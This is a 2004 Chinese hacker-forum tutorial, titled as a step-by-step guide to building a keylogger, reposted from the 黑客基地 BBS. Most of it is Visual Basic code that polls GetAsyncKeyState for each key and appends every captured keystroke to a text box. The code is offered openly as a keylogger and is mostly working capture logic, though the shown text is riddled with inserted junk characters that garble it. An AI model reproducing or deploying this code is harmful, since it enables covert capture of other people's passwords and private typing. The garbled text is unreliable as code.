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手把手教你做键盘记录器

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发帖功臣 元老勋章

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发表于 2004-10-4 12:04 |只看该作者 |倒序浏览
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作者:小珂 转自黑基BBS原创作品版 % k- I2 p1 u ^1 B. M版权归黑客基地所有, 转载请注明出处

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前几天写了一篇键盘记录器,好多人反映看不懂, 8 I, ]8 Y- b! K' a; q对新人没什么用处,所以且这篇我会写的 $ r6 D; A2 e) A- _7 J# @! K很详细,再也不像那篇,出了代码什么也没 ^!^ 7 b' S6 A3 t+ S$ }1 ]6 [这个程序将会详细的讲解如何记载键盘的每一次输入。 ! r0 i' g* r' J1 x下面介绍的这个程序主要是利用GetAsyncKeyState函数,9 ^5 u+ ]) T+ d9 \4 w# r8 p, C 使用GetAsyncKeyState可以获得键盘的动作。4 Y! X, G) L! V) S) Y' h GetAsyncKeyState函数根据虚拟键表判断按键的类型。' T7 X$ D8 }& S! z* q. e6 w+ | 返回值为一个16位的二进值数,如果被按下则最高位为1,: i6 b) |" d$ O* v" n2 T 即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义: 0 W M$ j: T# q7 rPrivate Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer _8 ^" d5 y5 I m4 j( S 好了,函数就先介绍这么多,下面开始动手实战了 ' X5 `; N$ X) Xfirst,当然是创建窗口了 & ^& l2 F3 @7 c+ z- D! X3 `+ B* A8 {+ |$ m# z7 Y / i7 s4 U1 l! `3 I ! {2 ]1 b9 S% j4 k z# D " F* p4 L/ e+ ?. ~" @ 6 S2 K$ C8 K3 R/ Y- V6 q+ ~ 在时间控件的Timer时间中定义检查按键类型,代码如下: . ^2 B* g2 d5 bDim AddKey) A( P9 ~. u) i: s9 G" c- B KeyResult = GetAsyncKeyState(13) '回车键, G) X) p, M( X* x% i) I2 K If KeyResult = -32767 Then7 B; V& |, P7 m AddKey = "[ENTER]"$ t: A# K( o& N& P( y+ {# E GoTo KeyFound0 l' X1 l' }; Q! S End If2 U* @9 A: r* I! w( Z. T KeyResult = GetAsyncKeyState(17) 'Ctrl键 7 c6 M+ Y; p0 w# P( O: p If KeyResult = -32767 Then 2 n. m" [) c: @! V AddKey = "[CTRL]" 7 n* S6 T: g1 _, p$ w GoTo KeyFound4 f! S, y2 T0 |! B ^2 H End If 5 q" n) W. ?' S& _' N5 {) ^; A KeyResult = GetAsyncKeyState(8) '退格键% _+ g+ G0 h6 s' e# d- }8 } If KeyResult = -32767 Then/ }5 g5 c# E& C9 d& T AddKey = "[BKSPACE]" , q1 A, `$ I4 q4 P3 u; z2 Y/ V GoTo KeyFound 2 ^/ a' I9 m0 L End If6 n" z. v, _) \ W1 U. L) r2 u) J# t% U KeyResult = GetAsyncKeyState(9)) q3 @( s" }4 B2 V! Y, [ If KeyResult = -32767 Then : }$ W2 Q- u) @4 _' {7 G4 q AddKey = "[TAB]" ( j. d) S8 E: R7 g: t) Z" @8 S GoTo KeyFound" d( R8 l. t" J" ^- Q H% e/ m" W End If# o5 T" |' p+ ~+ ?6 d! _ ) a( p7 s" }6 g3 |, q' R KeyResult = GetAsyncKeyState(18) , y5 h) W, C( h% n! o1 i If KeyResult = -32767 Then% x2 f: U" A6 F) u' B9 O' g AddKey = "[ALT]" 5 h6 E- W' y5 f3 h. ?% ?* v GoTo KeyFound1 R" h- B9 N- M End If - o6 c2 N9 j6 p# G( a2 ~ ( H! E: z4 \" v) ?) a T6 e5 f5 P KeyResult = GetAsyncKeyState(19) $ i6 E; Z: d" d4 D* O! M3 ~ If KeyResult = -32767 Then " C/ Q: c5 ]( c0 ?9 f AddKey = "[PAUSE]" % k& Q( @6 B, m5 U% S- o/ A" e GoTo KeyFound : l6 t# o. V9 Y3 d9 ]$ F6 b End If 5 N& p8 Q) [! _& f # ]5 R( x' X" ]) t0 K KeyResult = GetAsyncKeyState(20)+ Z( f, q2 T; Y* u0 G% b If KeyResult = -32767 Then : V8 I) b6 H. A0 F- o0 U% Y2 i: Z: { AddKey = "[CAPS]"# Z9 b$ K( \" @, z GoTo KeyFound& ?* W5 q/ l) ]7 P, ? End If 8 p% u1 c3 P5 j' R+ M- ]+ e 0 p. m% u/ ?7 ]0 [ KeyResult = GetAsyncKeyState(27)1 h1 X1 ~+ @! |# t# [5 z" B1 \6 @ If KeyResult = -32767 Then' z( U3 C! b9 C# I) Y AddKey = "[ESC]"+ q Q- ^3 r( E8 A GoTo KeyFound ( F# ~8 S$ z( ~1 L End If 7 h( O+ U' }" Z 5 j' |# E9 k+ {* d |) G. ? KeyResult = GetAsyncKeyState(33)7 w: _* r9 S, s7 \ If KeyResult = -32767 Then . h) K" x' D5 x AddKey = "[PGUP]"& T+ G' e' `) [: _5 @ GoTo KeyFound ) R, V" A4 ~. J- N6 r {$ S+ x. r End If " n* w" W4 H$ F O , b: v1 Y' T8 G2 t* R; \ KeyResult = GetAsyncKeyState(34)8 W+ Q. |2 d# Y If KeyResult = -32767 Then 9 t' u4 Q2 V+ M" |3 P+ W6 } AddKey = "[PGDN]" 9 P; ^* y$ w0 n GoTo KeyFound6 Q' T/ I3 s& U End If$ t+ i9 d3 _+ _& O 7 c3 G: I" ~9 k1 S0 z+ ?: b v KeyResult = GetAsyncKeyState(35) % C$ L* a1 ?* u8 G. z& x$ \ If KeyResult = -32767 Then) G. q! Y" T8 Y1 C# _: e* ]4 S AddKey = "[END]"7 Q; b" t' ~4 M! M9 D/ f1 B GoTo KeyFound1 s( H5 w: V- J' r' S3 Z! m- j9 d End If 0 k3 A' q/ c4 K- C 8 |* N& F: S# W KeyResult = GetAsyncKeyState(36)' L1 o2 i- m% c6 C& Y8 R: }) ^ If KeyResult = -32767 Then / H, _# p: Z% s, j) q AddKey = "[HOME]"6 o/ s, @5 Y) x! y/ Q. m6 @) M( S I: R GoTo KeyFound* ?4 K1 T- c( `: H1 K+ g5 @2 A$ q End If" x- b/ P6 d4 h4 M, G$ k # g. Z3 I3 F" H Y$ b5 [; s KeyResult = GetAsyncKeyState(44)* M4 x& Y0 I$ P$ r. @0 Y If KeyResult = -32767 Then- t) w( O( z) n3 T* _. Y/ V AddKey = "[SYSRQ]" 0 A4 Q2 Y& t N/ C, F9 O- t8 v- z9 @ GoTo KeyFound5 E# R# E' `4 i1 E7 p$ M End If L6 `' v) k' F7 c: f( j$ `& R 8 J# W& Q% k: u/ X KeyResult = GetAsyncKeyState(45): P0 D/ G$ T/ c/ h+ E If KeyResult = -32767 Then % q+ |- H/ c: X. F8 Z AddKey = "[INS]"1 k" }% t4 M6 `+ c4 [0 x+ B6 p GoTo KeyFound. }- V8 `6 T' z/ [ End If : P4 |' w( v" T3 [9 ~6 }5 q # A; Z4 w' {7 c KeyResult = GetAsyncKeyState(46)% e* Q- W! S7 z" j" ~( C0 a. c" L; ^ If KeyResult = -32767 Then4 h" Q$ V/ L; L( J2 z& X, o; g AddKey = "[DEL]" : I0 J8 {3 s$ o; R( {2 k GoTo KeyFound % X6 Y7 T& b" M9 T9 @2 X- _ End If) U! h) D) A# p$ M# ?* j# n+ M" g - r; c2 |. L. ]! h V KeyResult = GetAsyncKeyState(144) ( G! M/ [2 \) z If KeyResult = -32767 Then $ D! u/ l" L0 [1 \3 r# ?; F- ^ AddKey = "[NUM]" : T O1 K; z- B7 J* w GoTo KeyFound6 y' m* |& W! S+ |* y End If - W$ x/ `1 d/ g. ^* e : Y+ H: Y) Z9 Q KeyResult = GetAsyncKeyState(37) : N4 _ {, |4 U2 K6 Q1 l' ] If KeyResult = -32767 Then * g% V! N; u7 j; _: X AddKey = "

" / I0 r( R" J. P1 q+ v3 _) F/ E' V* i GoTo KeyFound $ t! i \9 \4 H2 x1 k End If " n: J1 q8 d1 Z: | 4 k) G% {# L: u/ p KeyResult = GetAsyncKeyState(38) `: w6 F2 D- P& a1 q7 m If KeyResult = -32767 Then + x" Q9 w* m$ z/ x: M" \, R AddKey = "[UP]" ) c5 L, [& u* \7 f9 I. i" E GoTo KeyFound ; R8 Z0 J- G* D4 _ End If- v% G" h6 F7 m6 H4 L4 Q + ]' j% _3 \. \1 X3 {5 @/ l; T KeyResult = GetAsyncKeyState(39) " W! ~. Y# u( H4 ~9 S, z0 I If KeyResult = -32767 Then " x2 k6 @/ z) k5 M- P, j# x' g5 I AddKey = "
"4 Q% [1 j( h5 e GoTo KeyFound9 G7 J2 I( l S/ D9 E# g End If : R- E8 N$ ]' z# j8 b* w2 ~ $ G: g0 h( L% `/ Z( ]. c7 _& k KeyResult = GetAsyncKeyState(40) ' [+ N% r2 }! n! C0 u9 u If KeyResult = -32767 Then : U4 n! g4 P/ B8 F R AddKey = "[DOWN]" 0 d6 P( Q7 \. X6 s/ ~ GoTo KeyFound " S! j: A9 E! W' g0 F& {- t0 q7 Z; Z End If 3 R6 R1 R2 c2 `( I! }0 { & I; n. D6 b. A4 U; t. d + k {0 A! R) } - E+ t/ J% E, j; ` m8 EKeyResult = GetAsyncKeyState(112) % ?- p3 o; r) n- F i If KeyResult = -32767 Then( m# z; b7 G' `: N AddKey = "[F1]"0 H4 ^) m+ E0 |' J. ]# \& b" M GoTo KeyFound" h e& J0 s" ?& F End If! G$ }9 N/ h( I 6 V7 b# X! [& E% W: Q) {! [KeyResult = GetAsyncKeyState(113) ' i- r2 E- E( _- ?. ?4 Z% |: u& p( @ If KeyResult = -32767 Then \/ h+ m/ e3 z, A. u; ?$ P6 ^ AddKey = "[F2]" * X- c+ t; l) s' }* P9 D! _5 B6 h GoTo KeyFound + H" N# |; r* F- ], v% C End If . p: _8 p4 I" F' ?8 M" w+ J ! j; e- ^* Q7 q, E7 @5 aKeyResult = GetAsyncKeyState(114) 3 {5 a3 K& O" o4 A2 k9 ?0 p( {/ r If KeyResult = -32767 Then , W3 x' ] d" W# U* f7 Z AddKey = "[F3]" : G' T- ~) w% X9 I GoTo KeyFound & {9 a0 D- ^4 M4 T3 V1 z* g End If2 e6 B. |- R( y8 n5 R+ f 7 l4 I$ z3 U A1 Y! z KeyResult = GetAsyncKeyState(115) ' c: X5 c# l5 G2 {- ] r, t( D If KeyResult = -32767 Then . |( H) P* u: M2 o% [ j/ i AddKey = "[F4]"6 r2 [( b4 Q. d$ b: e GoTo KeyFound6 h, p7 ] J. X End If* P% v! e( V. ~4 J: H* p ; D8 C; d: b3 O1 d KeyResult = GetAsyncKeyState(116)& Y% p5 a+ p* `( W9 h If KeyResult = -32767 Then2 I4 }2 W" H7 N. @ AddKey = "[F5]" , V. x3 r( A, s5 @9 M! f GoTo KeyFound ) I+ }. @# j; t" h; x% g) _( k End If0 G4 J, L- B& i: o & o B6 a0 P; X) `& b KeyResult = GetAsyncKeyState(117)) I0 i$ [$ ]0 ]9 [6 v4 ` If KeyResult = -32767 Then 9 Y- }6 W# @: K$ L5 g AddKey = "[F6]" . O: v3 q) s2 m GoTo KeyFound 3 ]3 F. ?/ B1 Q8 T6 s4 z A End If, O9 M* Y; @* p $ c# D1 `. O4 W$ w0 j D, @KeyResult = GetAsyncKeyState(118)( ^& X/ ]" F# W If KeyResult = -32767 Then$ \8 ]# v: o: b0 l2 k1 j% _; p9 W AddKey = "[F7]" 6 m* f/ I8 e( U. E GoTo KeyFound, ?- q4 `# h! p/ e0 W End If 3 R4 E" n9 ^' r7 L8 U8 Z " j& N" x, }$ a M& PKeyResult = GetAsyncKeyState(119) - N9 Y! k5 @" e7 ?9 F If KeyResult = -32767 Then0 }: M& s; A) v: K AddKey = "[F8]" 6 M: B5 c2 h7 s: D# M GoTo KeyFound* E3 k6 n; B3 ]# J End If * o1 a# \ _+ d% X, N' R ! z& m7 N3 A6 I0 k" u KeyResult = GetAsyncKeyState(120)) c, [0 A* I6 x: X& r" V9 u If KeyResult = -32767 Then * }8 |1 [. M1 }& o AddKey = "[F9]"- D7 b, l: p8 G# D: Q GoTo KeyFound ' O! J& h; S# R5 L/ C5 j d End If; o' ?4 I! c+ T1 s ( d# T. Z+ P! U( ^1 g- FKeyResult = GetAsyncKeyState(121)! V- f e% ~6 A: M3 M% R If KeyResult = -32767 Then" m x8 S/ z7 }1 y. e; C AddKey = "[F10]" 0 f& _. x, ^) t) v, h GoTo KeyFound ; j; v* V) m# m8 A" M* d End If " O+ M" p6 k U0 @ 2 H0 g7 J9 q$ W4 Y, W) E! @ g KeyResult = GetAsyncKeyState(122)( I3 I4 V6 `9 b0 C7 ? If KeyResult = -32767 Then 0 |) V0 O$ ~4 Z$ q! O AddKey = "[F11]" 3 J! l0 C: |; V5 ~7 ?% \& c GoTo KeyFound# d& \. X- @+ J$ ~( S4 \ End If- g$ s- Y) J+ l+ q6 v* t* u 0 b' d) v7 s+ t+ I3 u9 H+ I" O KeyResult = GetAsyncKeyState(123) ! g" l I# v! X; K' n9 {- I9 g0 c If KeyResult = -32767 Then' E6 K, ], y9 K8 W5 h7 V! Q. k" w AddKey = "[F12]" v; L* U0 D" J L3 F# Y GoTo KeyFound6 v) M4 s9 z5 E+ o7 t End If4 F1 k. R5 e( Q " [( g7 X% @, Q KeyResult = GetAsyncKeyState(124) 2 g) {9 X, Y8 H6 w% k5 k } If KeyResult = -32767 Then3 K5 n/ F( p5 l' N- } AddKey = "[F13]" % ?" L0 }; V% ~: Z" A5 M$ { GoTo KeyFound+ e/ ^/ Y( C" O End If ' m2 s( O! h6 K! x, c8 d* _ + t. m' m; a! Q) F4 ?8 z* n, \3 _ KeyResult = GetAsyncKeyState(125)& A7 _+ P, `2 Y' F1 \- U$ l7 a If KeyResult = -32767 Then- V. g# ], c+ X2 j/ f AddKey = "[F14]" 2 n' r& ]5 A# Q7 [ GoTo KeyFound" j- [; V3 ?4 n$ ] End If : ?2 z+ O2 G- U% I 9 ?5 ]% }3 v- s KeyResult = GetAsyncKeyState(126) # E" _1 W M4 O- } If KeyResult = -32767 Then 3 F/ w% A6 }& j4 o: E. g. x AddKey = "[F15]" 4 s* M9 r2 g& D1 \: M0 U' w! P3 N GoTo KeyFound( W5 ]1 Q$ a# s End If ) w7 [- W; s! S ( Y8 s5 n5 t! o8 ZKeyResult = GetAsyncKeyState(127): ^0 {" r0 n# h$ W If KeyResult = -32767 Then & s) I! ~6 n/ E+ J7 H AddKey = "[F16]" ; R' `, i/ d7 l9 O GoTo KeyFound! c4 r0 L, A" d1 {8 `9 C1 G- w$ A- j End If 6 U0 j- ]- z3 s) n % E. x: z5 S1 \KeyResult = GetAsyncKeyState(32) - u' o* Q# n, R4 J- Q; `+ ] If KeyResult = -32767 Then3 f' b8 T- _5 Q6 f: T AddKey = " "0 F- S* G6 Y# Q; _ q GoTo KeyFound1 t# Q: k5 _$ ? End If l% t" o# k( Z/ y/ L! ` 6 O, \/ `6 G# W# X- v; Z; W8 _- Y) MKeyResult = GetAsyncKeyState(186) ! ]: O8 [& s) \ If KeyResult = -32767 Then# x& m1 J8 d- M5 d. X- z, [* a AddKey = ";") K. y p8 w8 h( G" T' F GoTo KeyFound' d# o1 h+ ^) L* A End If- x5 h7 e5 \( \( ^' U + ]- K: W5 I- j2 [KeyResult = GetAsyncKeyState(187)8 l0 _8 x8 ^8 h! U If KeyResult = -32767 Then 4 G P; P0 W6 e; K! y AddKey = "="4 o o5 X0 b" E GoTo KeyFound ' }' P% q$ |( p; n4 L End If 8 N# t$ }6 ]+ c" j5 I2 r6 ~6 V* L2 z9 u ; h2 @. o& ~& g8 R0 }8 r KeyResult = GetAsyncKeyState(188) 4 W- z+ j0 z) i y4 m: t If KeyResult = -32767 Then, ?0 I7 }# Z5 i% u- v( d AddKey = ","0 {- y h+ b, ~, x GoTo KeyFound ( n9 F3 Q1 k: J. c, | z End If/ T: d6 z7 v0 f0 j8 Q( D, h ' c" U1 ]- e4 R) B8 G( yKeyResult = GetAsyncKeyState(189) 1 `7 N \1 X' t( [+ Y7 c- H If KeyResult = -32767 Then & Y: T# {( L9 _0 g AddKey = "-" e$ x! B4 f" R+ P# G( i GoTo KeyFound $ \( E) ~, f8 t4 R. z7 H End If, e# h: O5 p# s; _/ B% B " f+ I5 g ?! k' E8 g3 P0 m KeyResult = GetAsyncKeyState(190) % N* E( ]9 s; p! V, v If KeyResult = -32767 Then# a: m6 ]: r! A: W: v c' j+ b AddKey = "." q2 g: G2 q T1 Y, ~3 n6 `! O& Q GoTo KeyFound1 K( \' W4 y1 ^# T% I End If' {5 K3 y% _: y5 f! n, m 5 U3 a( V: ?' B6 L" A5 lKeyResult = GetAsyncKeyState(191)! H: M; }$ s) v) ?& B+ \8 v If KeyResult = -32767 Then1 U J7 T4 f7 Z$ @ AddKey = "/" '/: A4 \% C2 ?' r1 o9 a' B/ i GoTo KeyFound2 g' I5 |: i# X( J End If8 u, R8 t- W0 Z# d/ l- I, V. p6 x0 I ( |2 ], q: e+ X4 S- k KeyResult = GetAsyncKeyState(192), a$ J' m( `& ?# s3 I, V9 ] If KeyResult = -32767 Then " x4 h! y) b7 z* n" U7 y: h* s5 c AddKey = "`" '`5 s: ~5 _2 Q% [/ F, h( d/ J* i) [ GoTo KeyFound # h5 {) h# V! U x; E End If 7 Z/ i9 T1 ? _. B+ ^, Z1 i# V 8 {* Y$ X5 o8 ^4 z) r" s 9 _7 D; y* a; }% h3 G9 x+ l/ e- G' N4 D5 n1 s3 |- x- t '----------NUM PAD . q! E* ~- N) P6 v, q2 ~KeyResult = GetAsyncKeyState(96): j+ F! l2 J9 w# S0 P, T If KeyResult = -32767 Then 4 U: I) F* ?8 R9 F7 }& N0 r AddKey = "0", u) X( k1 R" o5 P6 N$ a: v GoTo KeyFound& C6 i# i/ \6 `0 {/ e End If7 n' {7 d: V% z) Y# `: a/ ~ , f2 T4 R8 E: _7 C KeyResult = GetAsyncKeyState(97) 1 T; F! W8 g( q4 V If KeyResult = -32767 Then$ E- {9 t4 d. p, @ I AddKey = "1"* m5 N2 N$ D$ L$ V6 d GoTo KeyFound9 g* ^/ ^; |3 E' h+ A; ] End If 1 G, x E. o3 ^9 T$ p 7 Z6 D# @ r; B # M/ E J T( _% G% X) D+ }9 GKeyResult = GetAsyncKeyState(98) 5 g* h4 V5 u7 O" M h4 i4 t- M If KeyResult = -32767 Then! U( G( ]7 [5 x2 B8 S AddKey = "2"! _" I+ \- J @* ~' n7 |$ O* y4 W GoTo KeyFound( M/ D9 p3 U% k G) B0 e End If ; {6 ], y9 R# H4 j ( A; h3 @) a B) @0 Z- u9 Z6 EKeyResult = GetAsyncKeyState(99) : Q: h2 @! N2 A* c, q' T If KeyResult = -32767 Then 1 A4 R3 a( O* w0 H7 }+ _7 W AddKey = "3" & F% E8 s! f/ P& f3 Z9 F! G% D& P GoTo KeyFound G- H4 B5 @5 } End If* L4 Q' w2 |% v, l- z) \ 4 j( B7 p/ }0 I {; M/ b" E7 O ! u, u" V% _+ K" j KeyResult = GetAsyncKeyState(100)+ U! y8 x& F) _) ^ If KeyResult = -32767 Then ) Z$ W* V% Q3 j& k: r# q+ I AddKey = "4" 3 l( r$ U) V9 X! _! [% ?2 U- T3 r GoTo KeyFound + c" I2 V/ W5 W; A) y$ d2 ~ End If 1 Q- x8 j* i3 H" ~+ G; |: W5 |4 _9 B, A# N; D) e& p KeyResult = GetAsyncKeyState(101)9 X5 ?% F% e* T+ h) e If KeyResult = -32767 Then. |. E) a/ s& j; V AddKey = "5"5 l0 {/ ^: ~; y7 I0 Q$ t4 ? GoTo KeyFound 5 l8 J/ q* @6 ~* T' ?2 x End If6 Z, `2 S5 P. k7 N. f* M % J$ g9 g9 N+ ]7 f8 ~$ f9 q0 v 9 v% K2 F9 i R; r1 G6 n, ~# i* LKeyResult = GetAsyncKeyState(102) " j9 ?; G; V# {' c' n. K8 P8 |* q8 U& ? If KeyResult = -32767 Then/ m4 l( e) H* O2 m$ \ AddKey = "6"2 S0 ^' r9 ~! D! v GoTo KeyFound * u/ t# _* E! I9 S End If. `& A( F, w4 E. E7 Z" Q0 q: @1 i 7 V# x4 Z. ?% q9 | KeyResult = GetAsyncKeyState(103)$ l- Z: u% V' a4 v: x+ j* v" t If KeyResult = -32767 Then+ A, X. r# Y" F+ J+ @/ K6 X' A AddKey = "7" 4 H! I& b: X: w GoTo KeyFound2 l/ ]2 L( h! P% C End If7 H0 P$ u, N. w# U: R1 @ 8 Q% S+ _! [6 @* a. U6 J, h ' o0 v' L0 Q- R8 q3 A4 W7 K KeyResult = GetAsyncKeyState(104)9 ^' e: G ? S) G If KeyResult = -32767 Then) u0 B! [3 M( F6 f' J AddKey = "8"/ q% y1 L9 F) q0 A GoTo KeyFound % m: } P. S* ?/ f8 C End If & N- _! x I c2 }4 | T6 E3 Y ( }' R' D0 ^. e1 m9 { {KeyResult = GetAsyncKeyState(105) % p0 L7 h4 d/ u! G If KeyResult = -32767 Then3 D3 z3 z$ E* K AddKey = "9"# ^, N, D" | }$ y GoTo KeyFound 5 ^) S. {3 u# w) v0 X End If 7 D9 U6 a5 D9 A$ m8 [ w0 l* Q" W " ]! S" c+ ]# H. S $ C3 D4 M5 ^- \+ Z+ vKeyResult = GetAsyncKeyState(106) ) G! h0 q1 @! o9 P If KeyResult = -32767 Then" X% B1 m. p: i* o+ c3 w AddKey = "*"! }8 A& G7 O" \7 J6 l+ v/ F! g GoTo KeyFound 2 m$ j6 p: A8 j- z2 q End If 1 @+ a" Z d3 C. @ E! L' S+ O! ?# W6 [* n$ N5 Q% G KeyResult = GetAsyncKeyState(107): c( p1 B/ X6 `; \ If KeyResult = -32767 Then4 f. f" h$ U& E; Y# X2 K2 w AddKey = "+"5 A E, B# d9 v' K, t GoTo KeyFound - i$ l2 W/ [, @, ]- h! S0 E End If5 {$ n3 U2 j/ w. l : n1 W K8 P5 R5 S# Z1 e KeyResult = GetAsyncKeyState(108) 1 W9 `4 z' N/ X3 a4 E7 p) r% O If KeyResult = -32767 Then( g7 K4 T# p/ R, l/ q8 l' g AddKey = "[ENTER]"- }/ w: P" o; m# Q2 w( V( s GoTo KeyFound; k4 K: V, Y! ~5 K) D \ End If - u1 m" {- N% N" O$ l; a( U- C4 D" A1 V8 D7 z3 q( W6 b KeyResult = GetAsyncKeyState(109): b+ X9 X4 ^( k; p! ^4 `$ T If KeyResult = -32767 Then- N# t5 `9 P$ P' R' g# T AddKey = "-" $ U: [3 X6 B0 v8 n, c' c& r5 S GoTo KeyFound+ O: v8 Q! n, ]3 a& ` End If5 i# V. ^5 O* A 3 c8 _# p4 @ I- T' C8 b KeyResult = GetAsyncKeyState(110). l) e% e+ r2 Q7 g5 X* B If KeyResult = -32767 Then ) F/ F+ k1 Q* ?# ]' x4 K AddKey = "."' m% J# d. f; z4 Y% c6 w GoTo KeyFound ! N- h4 C* \4 [- g End If ) }, @( b( g5 S; o& _9 ?% ]6 X" g( G! \- c; Q! O v# E( i KeyResult = GetAsyncKeyState(2) ! T5 O4 ^1 Z2 ?) |7 x1 N If KeyResult = -32767 Then9 ^, e2 K) P& w' Q" x( { AddKey = "/"! k- p$ f! e7 m0 X+ J2 o* C* Z GoTo KeyFound$ O/ g, v' j" `8 ? End If6 s# [0 I: u% F- A1 Q/ c; H9 }+ S & v0 f m& `2 v+ D6 S& _0 B. {KeyResult = GetAsyncKeyState(220) $ {& A2 l6 U8 t- i5 S# s+ U If KeyResult = -32767 Then & W7 e6 N5 Q. n: v5 ^ AddKey = "\" % s' x3 F' I" }+ `! P0 ] GoTo KeyFound$ I' M) h& v3 w0 c End If+ i+ F( R/ y* z0 d7 u - [) o* p( O* r2 C0 V1 c, B$ V' c, y KeyResult = GetAsyncKeyState(222) 8 a" I8 |' Q( ` G) Y If KeyResult = -32767 Then 6 O9 r- ?: r6 k8 B5 R AddKey = "'"' @1 u! D) I% D6 w6 \4 K% M/ d# d U GoTo KeyFound ( h t) V) u8 u1 P End If 9 n2 n/ z9 g" {# f/ x& ^8 x 9 v' z1 C9 Z& ~6 ~$ e' |! vKeyResult = GetAsyncKeyState(221) 2 F& b2 [. E4 o If KeyResult = -32767 Then# j$ P' [3 Q; F2 m AddKey = "]"- K' N8 e# ?# k$ H : L+ A' B/ c4 q2 o. k2 E3 H5 c . J, i2 r1 L' z% ? GoTo KeyFound ! C Y' C$ Q/ H* B# y* V End If8 f! j0 a* W" A $ ^( D3 d# |2 h KeyResult = GetAsyncKeyState(219) " Y2 T; e, z) z0 }7 @4 c& P2 d If KeyResult = -32767 Then9 c1 f/ V5 R. e H AddKey = "[" ' L. f. P+ a: U& N& L GoTo KeyFound ^" A0 @. n: L$ r, @+ [* Y% V0 F" c End If 6 t+ [% T* j8 i7 B 4 X# v) r0 S! ]" B( N3 Y% K4 jKeyResult = GetAsyncKeyState(16) 'shift键 + s; B; z" F& T R If KeyResult = -32767 And TimeOut = 0 Then. Z* i! w: ?& E& V h AddKey = "[SHIFT]"* S2 p2 r P B/ U7 [ LastKey = AddKey + P0 ]9 q f6 G5 w TimeOut = 15 p7 n* V7 X' V$ X GoTo KeyFound0 J: g$ @3 V( e End If 8 s) U7 K0 c% ~ [. @& g. F+ t1 ]. m; ]! v& A2 c+ c KeyLoop = 417 m" ~4 Z( A3 ]8 Z. x1 ]+ @2 F: J " ^8 t0 U2 P+ \3 T1 `9 k Do Until KeyLoop = 256 ' 显示其他键 ! L% T! Z$ B) ]* g" G# A' I KeyResult = GetAsyncKeyState(KeyLoop)/ D& D7 V* ?* v: h% T: ~4 \) t If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) 3 ~- t4 Z) W( p5 e( ^ KeyLoop = KeyLoop + 1, d& E( I8 I9 J4 p4 s+ r Loop , m+ R5 `# J$ ?. ` LastKey = AddKey $ N! L/ |& ?2 Z Exit Sub ' C8 x9 ~0 s) p$ y3 ?0 a! FKeyFound: '显示键的信息 - S5 W1 X% k: C 3 L6 Q- \0 j! F; c8 A8 _8 I g# N% h0 QText1 = Text1 & AddKey, l+ N3 j2 h" j8 H8 O# I+ G3 |. c End Sub l# E* U7 n5 Y. U# Z 上面的()里面的数字实际是就是那些键的Ascii码,比如13就代表回车,17代表Ctrl,……/ W2 M! t# X. A5 W( Z: Z3 l8 o$ u 由于数目太多,一一列举不方便, Z+ u! `$ M) T. }" V" E6 Q 现提供Ascii表一份供对照 9 l$ R; x( X& B Q' \- Phttp://www.cstudy.cn/repository/ascii/default.htm+ ^+ Q( a4 e6 E: V' Z" f- q 下面是其他的事件 ) U$ v& H1 m: Y3 fPrivate Sub Timer2_Timer()! Z3 c( N2 J# x5 N TimeOut = 0 ; B) K7 I; M9 fEnd Sub ' W2 H% U5 V# n. R# Y, {" H& {目的是随时刷新清空 9 m- B# g4 q: H8 `6 i5 M9 {

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